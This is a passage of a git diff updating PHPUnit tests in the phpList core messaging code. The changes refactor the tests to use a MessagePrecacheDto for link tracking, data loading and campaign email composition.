+        $md3 = (new MessageData())->setId($messageId)->setName('embargo')->setData('string');
+
+        $this->messageDataRepository
+            ->method('getForMessage')
+            ->with($messageId)
+            ->willReturn([$md1, $md2, $md3]);
+
+        // Use a Message mock instead of an anonymous stub
+        $message = $this->createMock(Message::class);
+        $message->method('getId')->willReturn($messageId);
+        $message->method('getListMessages')->willReturn(
+            new ArrayCollection([
+                new class {
+                    public function getListId(): int
+                    {
+                        return 42;
+                    }
+                },
+            ])
+        );
+
+        $loader = new MessageDataLoader(
+            configProvider: $this->config,
+            messageDataRepository: $this->messageDataRepository,
+            messageRepository: $this->messageRepository,
+            logger: $this->createMock(LoggerInterface::class),
+            defaultMessageAge: $defaultMessageAge
+        );
+
+        $before = time();
+        $result = ($loader)($message);
+        $after = time();
+
+        // Core expectations
+        $this->assertSame('123', $result['template']);
+        $this->assertTrue($result['google_track']);
+
+        // subject mapping
+        $this->assertSame('(no subject)', $result['subject']);
+
+        // stored data merged (and AS_FORMAT_FIELDS ignored)
+        $this->assertSame('any', $result['criteria_match']);
+        $this->assertArrayNotHasKey('ashtml', $result, 'ashtml should not overwrite values');
+
+        // schedule fields normalized to arrays when not arrays
+        $this->assertIsArray($result['embargo']);
+        $this->assertIsArray($result['repeatuntil']);
+        $this->assertIsArray($result['requeueuntil']);
+
+        // target list from message listMessages
+        $this->assertArrayHasKey(42, $result['targetlist']);
+        $this->assertSame(1, $result['targetlist'][42]);
+
+        // sendurl inferred from message body
+        $this->assertSame('https://example.org/p', $result['sendurl']);
+        $this->assertSame('inputhere', $result['sendmethod']);
+
+        // From parsing defaults
+        $this->assertSame('from@example.com', $result['fromemail']);
+        $this->assertSame('from@example.com', $result['fromname']);
+
+        // finishsending should be now + defaultMessageAge (allow small drift)
+        $fs = $result['finishsending'];
+        $this->assertIsArray($fs);
+        $fsTimestamp = strtotime(sprintf(
+            '%s-%s-%s %s:%s:00',
+            $fs['year'],
+            $fs['month'],
+            $fs['day'],
+            $fs['hour'],
+            $fs['minute']
+        ));
+
+        $expectedMin = $before + $defaultMessageAge - 120;
+        $expectedMax = $after + $defaultMessageAge + 120;
+        $this->assertGreaterThanOrEqual($expectedMin, $fsTimestamp);
+        $this->assertLessThanOrEqual($expectedMax, $fsTimestamp);
+    }
+}
diff --git a/tests/Unit/Domain/Messaging/Service/MessageProcessingPreparatorTest.php b/tests/Unit/Domain/Messaging/Service/MessageProcessingPreparatorTest.php
index b7530895..4cd2e800 100644
--- a/tests/Unit/Domain/Messaging/Service/MessageProcessingPreparatorTest.php
+++ b/tests/Unit/Domain/Messaging/Service/MessageProcessingPreparatorTest.php
@@ -6,8 +6,7 @@
 
 use PhpList\Core\Domain\Analytics\Model\LinkTrack;
 use PhpList\Core\Domain\Analytics\Service\LinkTrackService;
-use PhpList\Core\Domain\Configuration\Service\UserPersonalizer;
-use PhpList\Core\Domain\Messaging\Model\Message\MessageContent;
+use PhpList\Core\Domain\Messaging\Model\Dto\MessagePrecacheDto;
 use PhpList\Core\Domain\Messaging\Repository\MessageRepository;
 use PhpList\Core\Domain\Messaging\Service\MessageProcessingPreparator;
 use PhpList\Core\Domain\Subscription\Model\Subscriber;
@@ -23,7 +22,6 @@ class MessageProcessingPreparatorTest extends TestCase
     private SubscriberRepository&MockObject $subscriberRepository;
     private MessageRepository&MockObject $messageRepository;
     private LinkTrackService&MockObject $linkTrackService;
-    private UserPersonalizer&MockObject $userPersonalizer;
     private OutputInterface&MockObject $output;
     private MessageProcessingPreparator $preparator;
 
@@ -32,13 +30,6 @@ protected function setUp(): void
         $this->subscriberRepository = $this->createMock(SubscriberRepository::class);
         $this->messageRepository = $this->createMock(MessageRepository::class);
         $this->linkTrackService = $this->createMock(LinkTrackService::class);
-        $this->userPersonalizer = $this->createMock(UserPersonalizer::class);
-        // Ensure personalization returns original text so assertions on replaced links remain valid
-        $this->userPersonalizer
-            ->method('personalize')
-            ->willReturnCallback(function (string $text) {
-                return $text;
-            });
         $this->output = $this->createMock(OutputInterface::class);
 
         $this->preparator = new MessageProcessingPreparator(
@@ -46,7 +37,6 @@ protected function setUp(): void
             messageRepository: $this->messageRepository,
             linkTrackService: $this->linkTrackService,
             translator: new Translator('en'),
-            userPersonalizer: $this->userPersonalizer,
         );
     }
 
@@ -128,7 +118,7 @@ public function testEnsureCampaignsHaveUuidWithCampaigns(): void
 
     public function testProcessMessageLinksWhenLinkTrackingNotApplicable(): void
     {
-        $messageContent = $this->createMock(MessageContent::class);
+        $messageContent = new MessagePrecacheDto();
         $subscriber = $this->createMock(Subscriber::class);
         $subscriber->method('getId')->willReturn(123);
         $subscriber->method('getEmail')->willReturn('test@example.com');
@@ -140,9 +130,6 @@ public function testProcessMessageLinksWhenLinkTrackingNotApplicable(): void
         $this->linkTrackService->expects($this->never())
             ->method('extractAndSaveLinks');
 
-        $messageContent->expects($this->never())
-            ->method('getText');
-
         $result = $this->preparator->processMessageLinks(1, $messageContent, $subscriber);
 
         $this->assertSame($messageContent, $result);
@@ -151,7 +138,7 @@ public function testProcessMessageLinksWhenLinkTrackingNotApplicable(): void
     public function testProcessMessageLinksWhenNoLinksExtracted(): void
     {
         $messageId = 1;
-        $messageContent = $this->createMock(MessageContent::class);
+        $messageContent = new MessagePrecacheDto();
         $subscriber = $this->createMock(Subscriber::class);
         $subscriber->method('getId')->willReturn(123);
         $subscriber->method('getEmail')->willReturn('test@example.com');
@@ -165,9 +152,6 @@ public function testProcessMessageLinksWhenNoLinksExtracted(): void
             ->with($messageContent, 123, $messageId)
             ->willReturn([]);
 
-        $messageContent->expects($this->never())
-            ->method('getText');
-
         $result = $this->preparator->processMessageLinks($messageId, $messageContent, $subscriber);
 
         $this->assertSame($messageContent, $result);
@@ -175,7 +159,7 @@ public function testProcessMessageLinksWhenNoLinksExtracted(): void
 
     public function testProcessMessageLinksWithLinksExtracted(): void
     {
-        $content = $this->createMock(MessageContent::class);
+        $content = new MessagePrecacheDto();
         $subscriber = $this->createMock(Subscriber::class);
         $subscriber->method('getId')->willReturn(123);
         $subscriber->method('getEmail')->willReturn('test@example.com');
@@ -196,22 +180,23 @@ public function testProcessMessageLinksWithLinksExtracted(): void
             ->with($content, 123, 1)
             ->willReturn($savedLinks);
 
-        $htmlContent = '<a href="https://example.com">Link 1</a> <a href="https://example.org">Link 2</a>';
-        $content->method('getText')->willReturn($htmlContent);
-
-        $footer = '<a href="https://example.com">Footer Link</a>';
-        $content->method('getFooter')->willReturn($footer);
-
-        $content->expects($this->once())
-            ->method('setText')
-            ->with($this->stringContains(MessageProcessingPreparator::LINK_TRACK_ENDPOINT . '?id=1'));
-
-        $content->expects($this->once())
-            ->method('setFooter')
-            ->with($this->stringContains(MessageProcessingPreparator::LINK_TRACK_ENDPOINT . '?id=1'));
+        $content->content = '<a href="https://example.com">Link 1</a> <a href="https://example.org">Link 2</a>';
+        $content->htmlFooter = '<a href="https://example.com">Footer Link</a>';
 
         $result = $this->preparator->processMessageLinks(1, $content, $subscriber);
 
         $this->assertSame($content, $result);
+        $this->assertStringContainsString(
+            MessageProcessingPreparator::LINK_TRACK_ENDPOINT . '?id=1',
+            $content->content
+        );
+        $this->assertStringContainsString(
+            MessageProcessingPreparator::LINK_TRACK_ENDPOINT . '?id=2',
+            $content->content
+        );
+        $this->assertStringContainsString(
+            MessageProcessingPreparator::LINK_TRACK_ENDPOINT . '?id=1',
+            $content->htmlFooter
+        );
     }
 }
diff --git a/tests/Unit/Domain/Messaging/Service/RateLimitedCampaignMailerTest.php b/tests/Unit/Domain/Messaging/Service/RateLimitedCampaignMailerTest.php
index 97d4e158..7a92a420 100644
--- a/tests/Unit/Domain/Messaging/Service/RateLimitedCampaignMailerTest.php
+++ b/tests/Unit/Domain/Messaging/Service/RateLimitedCampaignMailerTest.php
@@ -5,6 +5,7 @@
 namespace PhpList\Core\Tests\Unit\Domain\Messaging\Service;
 
 use PhpList\Core\Domain\Messaging\Model\Message;
+use PhpList\Core\Domain\Messaging\Model\Dto\MessagePrecacheDto;
 use PhpList\Core\Domain\Messaging\Model\Message\MessageContent;
 use PhpList\Core\Domain\Messaging\Model\Message\MessageFormat;
 use PhpList\Core\Domain\Messaging\Model\Message\MessageMetadata;
@@ -46,7 +47,12 @@ public function testComposeEmailSetsHeadersAndBody(): void
         $subscriber = new Subscriber();
         $this->setSubscriberEmail($subscriber, 'user@example.com');
 
-        $email = $this->sut->composeEmail($message, $subscriber, $message->getContent());
+        $precached = new MessagePrecacheDto();
+        $precached->subject = 'Subject';
+        $precached->textContent = 'Plain text';
+        $precached->content = '<p>HTML</p>';
+
+        $email = $this->sut->composeEmail($message, $subscriber, $precached);
 
         $this->assertInstanceOf(Email::class, $email);
         $this->assertSame('user@example.com', $email->getTo()[0]->getAddress());
@@ -70,7 +76,12 @@ public function testComposeEmailWithoutOptionalHeaders(): void
         $subscriber = new Subscriber();
         $this->setSubscriberEmail($subscriber, 'user2@example.com');
 
-        $email = $this->sut->composeEmail($message, $subscriber, $message->getContent());
+        $precached = new MessagePrecacheDto();
+        $precached->subject = 'No headers';
+        $precached->textContent = 'text';
+        $precached->content = '<b>h</b>';
+
+        $email = $this->sut->composeEmail($message, $subscriber, $precached);
 
         $this->assertSame('user2@example.com', $email->getTo()[0]->getAddress());
         $this->assertSame('No headers', $email->getSubject());